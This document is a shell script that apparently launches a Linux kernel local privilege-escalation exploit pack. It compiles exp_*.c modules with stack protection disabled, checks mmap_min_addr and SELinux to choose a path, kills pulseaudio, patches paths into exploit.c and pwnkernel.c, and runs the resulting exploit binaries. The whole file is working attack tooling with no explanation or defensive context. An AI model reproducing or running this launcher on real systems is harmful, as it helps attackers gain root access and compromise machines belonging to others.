#!/bin/sh
GCC=gcc
IS_64=`uname -m`
LINK_FLAG="-ldl"
OPT_FLAG="-fomit-frame-pointer -O2"
if [ "$IS_64" = "x86_64" ]; then
  OPT_FLAG="-m64 -fomit-frame-pointer -O2"
fi
if [ "$1" != "" ]; then
  OPT_FLAG="$OPT_FLAG -DNON_NULL_ONLY"
elif [ -d /usr/include/selinux ]; then
  OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux"
fi

for FILE in exp_*.c; do
    printf "Compiling $FILE..."
    $GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
    if [ "$?" = "1" ]; then
       $GCC -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
       if [ "$?" = "1" ]; then
	 printf "failed.\n"
       else
         printf "OK.\n"
       fi
    else
      printf "OK.\n"
    fi
done

ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$1" != "" -o "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
    sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
    mv exploit.c exploit2.c
    mv exploit1.c exploit.c
    $GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    if [ "$?" = "1" ]; then
        $GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    fi
    if [ "$?" = "1" ]; then
        $GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    fi
    mv -f exploit2.c exploit.c
    ./exploit
elif [ ! -f '/selinux/enforce' ]; then
    killall -9 pulseaudio 2> /dev/null 
    sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
    mv exploit.c exploit2.c
    mv exploit1.c exploit.c
    $GCC -fno-stack-protector -fno-pie -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
    if [ "$?" = "1" ]; then
       $GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
    fi
    if [ "$?" = "1" ]; then
       $GCC -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
    fi
    mv -f exploit2.c exploit.c
    sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
    mv pwnkernel.c pwnkernel2.c
    mv pwnkernel1.c pwnkernel.c
    $GCC $OPT_FLAG -o pwnkernel pwnkernel.c $LINK_FLAG
    mv -f pwnkernel2.c pwnkernel.c
    ./pwnkernel
else
    sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
    mv exploit.c exploit2.c
    mv exploit1.c exploit.c
    $GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    if [ "$?" = "1" ]; then
       $GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    fi
    if [ "$?" = "1" ]; then
       $GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
    fi
    mv -f exploit2.c exploit.c
    ./exploit
fi
